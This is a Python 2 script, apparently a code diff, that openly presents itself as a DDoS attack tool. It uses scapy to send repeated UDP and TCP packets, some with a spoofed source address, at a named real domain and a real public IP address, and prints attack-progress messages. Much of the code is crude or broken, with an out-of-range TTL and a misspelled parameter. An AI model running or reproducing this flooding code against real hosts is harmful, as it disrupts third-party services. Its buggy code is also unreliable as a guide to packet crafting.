1+ #-*- coding:'utf-8' -*-
2+ import time
3+ import struct
4+ from threading import *
5+ import socket
6+ from scapy .all import *
7+ start = time .time ()
8+ screenlock = Semaphore (value = 1000 )
9+ print '[^]HAQ DDOs start!'
10+ def DDos ():
11+ try :
12+ print '[*]Second layers of DDos'
13+ s = srp (IP (dst = "www.dgjy.net" ,ttl = 480 )/ UDP ())
14+ print s [0 ].show ()
15+ except Exception ,e :
16+ print '[-]The cause of the mistake {}' .format (e )
17+ try :
18+ print '[*]Third layer DDos'
19+ p = srloop (IP (dst = "www.dgjy.net" , ttl = 160 ) / UDP ())
20+ print p [0 ].show ()
21+ except Exception ,s :
22+ print '[-]The cause of the mistake{}' .format (s )
23+ try :
24+ print '[*]Repeated attacks'
25+ see = srp (IP (dst = "113.108.127.169" )/ TCP (dport = [80 ,443 ]))
26+ print see [0 ].show ()
27+ except Exception ,f :
28+ print '[-]The cause of the mistake{}' .format (f )
29+ try :
30+ data = struct . pack ('=BHI' ,0x96 ,20 ,1000 )
31+ pkt = IP (src = '192.168.225.141' ,dst = '113.108.127.169' )/ UDP (sport = 12345 ,dport = [80 ,443 ])/ data
32+ print '[*]DDoS attacks are being carried out!'
33+ screenlock .acquire ()
34+ send (pkt ,inter = 1 ,count = 160 )
35+ except Exception ,g :
36+ print "[-]The cause of the mistake{}" .format (g )
37+ try :
38+ print '[*]DDos'
39+ gp = sr1 (IP (dst = "www.dgjy.net" ,tll = (1 ,160 ))/ UDP ())
40+ except Exception ,i :
41+ print '[-]cause of the mistake{}' .format (i )
42+ t = Thread (target = DDos , args = ())
43+ t .start ()
44+ end = time .time ()
45+ print '[!]Time consuming of this program,The first time is the initialization time:' ,end - start
0 commit comments